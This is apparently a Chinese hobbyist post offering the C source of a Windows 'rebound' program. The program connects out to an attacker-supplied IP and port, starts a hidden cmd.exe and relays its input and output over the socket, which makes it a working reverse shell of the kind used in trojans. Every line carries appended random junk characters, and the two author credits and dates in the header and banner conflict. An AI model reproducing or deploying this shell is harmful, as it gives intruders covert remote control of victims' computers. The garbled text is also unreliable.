这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 r*F^8_YMK
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/* ============================== &mPR[{
Rebound port in Windows NT #qnK nxD
By wind,2006/7 /l%+l@
===============================*/ w/49O;r V
#include m=K46i+NE
#include +|K/*VVn`
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#pragma comment(lib,"wsock32.lib") Zws[C
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void OutputShell(); S Boi|
SOCKET sClient; 0F5QAR
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,5XDH6L1
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void main(int argc,char **argv) W Te1E, M
{ lj US-6
WSADATA stWsaData; )x<oRHx]
int nRet; )k~{p;Ke
SOCKADDR_IN stSaiClient,stSaiServer; 1m{c8Z.h/d
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if(argc != 3) 6uu49x_^L4
{ ^1\[hyZ!
printf("Useage:\n\rRebound DestIP DestPort\n"); BD_"w]bqD
return; -)pVgf
} 8ioxb`U
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WSAStartup(MAKEWORD(2,2),&stWsaData); (>,}C/-UG
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M> rertUR
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stSaiClient.sin_family = AF_INET; xXQW|#X\
stSaiClient.sin_port = htons(0); gw^X -
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C"cBlru8B
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |h 3`z
{ :c3'U_H^
printf("Bind Socket Failed!\n"); p5V.O20
return; ']^_W0?=
} .t9*wz
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stSaiServer.sin_family = AF_INET; +01bjM6F_1
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); knABlU
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s $?u'}G3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =vD}O@tN
{ $.Qu55=z<
printf("Connect Error!"); ~E3"s
return; a
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}
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OutputShell(); {SJnPr3R
} cHw-;
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void OutputShell() Aw,#oG {N
{ feA(Rj
char szBuff[1024]; p8X$yv
SECURITY_ATTRIBUTES stSecurityAttributes; $1.l|
OSVERSIONINFO stOsversionInfo; )%Lgo${[;
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HI!bq%TZ4
STARTUPINFO stStartupInfo; dx)v`.%V
char *szShell; p}MH LM
PROCESS_INFORMATION stProcessInformation; :}+m[g
unsigned long lBytesRead; fK1^fzV
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wrEYbb
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); W't.e0L<6
stSecurityAttributes.lpSecurityDescriptor = 0; &aWY{ ?_
stSecurityAttributes.bInheritHandle = TRUE; 12 S[m~L%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *rmwTD"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tg%C>O
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1IeB_t
stStartupInfo.wShowWindow = SW_HIDE; InfUH8./t
stStartupInfo.hStdInput = hReadPipe; idGhWV'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tbq_Rg7s
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GetVersionEx(&stOsversionInfo); a^MR"i>@G
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switch(stOsversionInfo.dwPlatformId) -^<`v{}Dn
{ =:pN82.G
case 1: .,( ,<
szShell = "command.com"; J>S`}p
break; :taRCh5
default: [.*o<
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szShell = "cmd.exe"; P(XNtQ= K
break; qkh.?~
} 0ZpWfL
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VkDFR
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send(sClient,szMsg,77,0); K}YOs.
while(1) ?Ulc`-d
{ T7!=KE_z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n+;PfQ|
if(lBytesRead) Bl8&g]dk
{ ~zA{=|I2
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);
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send(sClient,szBuff,lBytesRead,0); A}Gj;vaw
} ^p !4`S
else o]@g%_3X
{ m8ydX6~max
lBytesRead=recv(sClient,szBuff,1024,0); lITZ|u
if(lBytesRead<=0) break; ]Zz<9zix
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *|Fl&`2
} Or[uq,Dm16
} 7LdNE|IP
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return; Le':b2o
}